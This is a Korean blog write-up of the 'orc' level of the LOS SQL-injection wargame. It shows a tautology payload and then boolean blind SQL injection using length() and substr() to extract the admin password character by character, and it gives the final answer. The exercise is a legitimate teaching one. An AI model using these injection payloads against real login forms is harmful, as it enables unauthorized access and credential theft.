Web/LOS

[LOS] 문제 4. orc, 함수 이용하여 패스워드 알아내기

__bo0o_ 2018. 10. 26. 19:10

 

 

pw=%27 or %271%27=%271 했지만

Hello admin 글자만 나오고 해결되지는 않는다.

이유는 if($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

if문으로 pw 결과 값이 같아야지만, 관리자 계정으로 로그인할 수 있다고 한다.

 

패스워드를 찾기 위해, 먼저 길이를 알아보자.

?pw=%27 or id=%27admin%27 and length(pw)>%276 해보면

if($result['id']) echo "<h2>Hello admin</h2>";

즉 Hello admin 부분이 출력된다면,

id가 admin이고, 값이 참일 때, 저 결과 값을 띄운다는 것이다.

즉, 패스워드가 6 이상이다. 라는 것을 알 수 있는 것.

따라서 ?pw=%27 or length(pw)=%278

패스워드의 길이는 8이다.

 

다음으로 비밀번호를 찾기 위해 substr 함수를 사용해준다.

substr 문자열의 일부를 반환하는 함수이고,

사용 법의 예는 다음과 같다.

<? php

$rest = substr("abcdef", -1); // return "f"

$rest = substr("abcdef", -2); // return "ef"

$rest = substr("abcdef", -3, 1); // return "d"

?>

 

따라서

?pw=%27 or id=%27admin%27 and substr(pw, 1, 1)=%272

?pw=%27 or id=%27admin%27 and substr(pw, 2, 1)=%279

?pw=%27 or id=%27admin%27 and substr(pw, 3, 1)=%275

?pw=%27 or id=%27admin%27 and substr(pw, 4, 1)=%27d

?pw=%27 or id=%27admin%27 and substr(pw, 5, 1)=%275

?pw=%27 or id=%27admin%27 and substr(pw, 6, 1)=%278

?pw=%27 or id=%27admin%27 and substr(pw, 7, 1)=%274

?pw=%27 or id=%27admin%27 and substr(pw, 8, 1)=%274

 

즉 비밀번호는 295d5844이며,

답은 ?pw=295d5844이다.

 

 

참고 : https://translate.google.co.kr/translate?hl=ko&sl=en&u=http://php.net/manual/en/function.substr.php&prev=search